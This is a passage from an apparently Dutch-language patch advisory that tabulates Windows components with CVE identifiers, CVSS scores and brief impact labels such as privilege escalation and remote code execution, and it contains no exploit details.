\n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot 